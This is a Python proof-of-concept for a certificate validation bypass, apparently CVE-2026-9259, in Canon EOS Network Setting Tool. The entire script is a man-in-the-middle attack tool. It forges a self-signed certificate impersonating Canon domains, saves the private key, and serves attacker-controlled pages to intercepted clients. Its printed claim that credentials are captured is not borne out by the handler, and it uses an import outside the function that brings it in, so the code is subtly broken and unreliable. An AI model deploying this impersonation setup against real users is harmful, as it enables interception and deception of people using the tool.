# CVE-2026-9259 PoC - Certificate Validation Bypass
# This PoC demonstrates improper certificate validation in Canon EOS Network Setting Tool
# Attack Scenario: Man-in-the-Middle (MITM) Attack
import ssl
import socket
from http.server import HTTPServer, BaseHTTPRequestHandler
class MaliciousProxyHandler(BaseHTTPRequestHandler):
'''Handler to intercept and modify traffic'''
def do_GET(self):
# Log intercepted requests
print(f"[+] Intercepted Request: {self.path}")
print(f"[+] Source: {self.client_address}")
# Send fake response with attacker-controlled content
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
response = b"""
<html>
<body>
<h1>Network Configuration Captured</h1>
<p>Attacker's server successfully intercepted the connection.</p>
</body>
</html>
"""
self.wfile.write(response)
def create_self_signed_cert():
'''Generate self-signed certificate for MITM attack'''
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
import datetime
# Generate key pair
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
# Create self-signed certificate
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"California"),
x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Canon"),
x509.NameAttribute(NameOID.COMMON_NAME, u"*.canon.jp"),
])
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=365)
).add_extension(
x509.SubjectAlternativeName([
x509.DNSName(u"*.canon.jp"),
x509.DNSName(u"canon.jp"),
]),
critical=False,
).sign(key, hashes.SHA256(), default_backend())
return cert, key
def start_mitm_proxy(port=8443):
'''Start MITM proxy server with self-signed certificate'''
cert, key = create_self_signed_cert()
# Save certificate for use
with open("attacker_cert.pem", "wb") as f:
f.write(cert.public_bytes(serialization.Encoding.PEM))
with open("attacker_key.pem", "wb") as f:
f.write(key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
))
# Create HTTPS server
server_address = ('', port)
httpd = HTTPServer(server_address, MaliciousProxyHandler)
# Wrap with SSL using self-signed certificate
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain("attacker_cert.pem", "attacker_key.pem")
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
print(f"[*] MITM Proxy listening on port {port}")
print(f"[*] Self-signed certificate generated")
print(f"[*] When Canon EOS Network Setting Tool connects, credentials will be captured")
httpd.serve_forever()
if __name__ == "__main__":
print("=" * 60)
print("CVE-2026-9259 PoC - Canon EOS Network Setting Tool")
print("Improper Certificate Validation - MITM Attack")
print("=" * 60)
start_mitm_proxy()